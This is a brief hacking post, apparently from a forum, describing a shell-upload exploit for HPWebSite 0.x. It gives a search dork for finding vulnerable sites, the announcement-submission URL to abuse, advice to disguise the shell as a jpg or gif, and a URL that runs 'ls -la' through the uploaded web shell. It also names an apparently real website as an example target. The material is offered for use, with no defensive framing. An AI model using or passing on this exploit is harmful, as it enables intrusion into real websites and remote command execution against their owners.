HPWebSite 0.x Shell Uploads

Shell Uploader

Dork : /index.php?module=announce

Exploit : /index.php?module=announce&ANN_user_op=submit_announcement&MMN_position=3:3

shell : jpg , gif

Exploit : http://www.example.com/images/announce/nst.gif.php?nst=ls -la

Example Site :

http://www.viethoc.org/index.php?module=announce&ANN_user_op=submit_announcement&MMN_position=3%3A3

Posted in: Hacking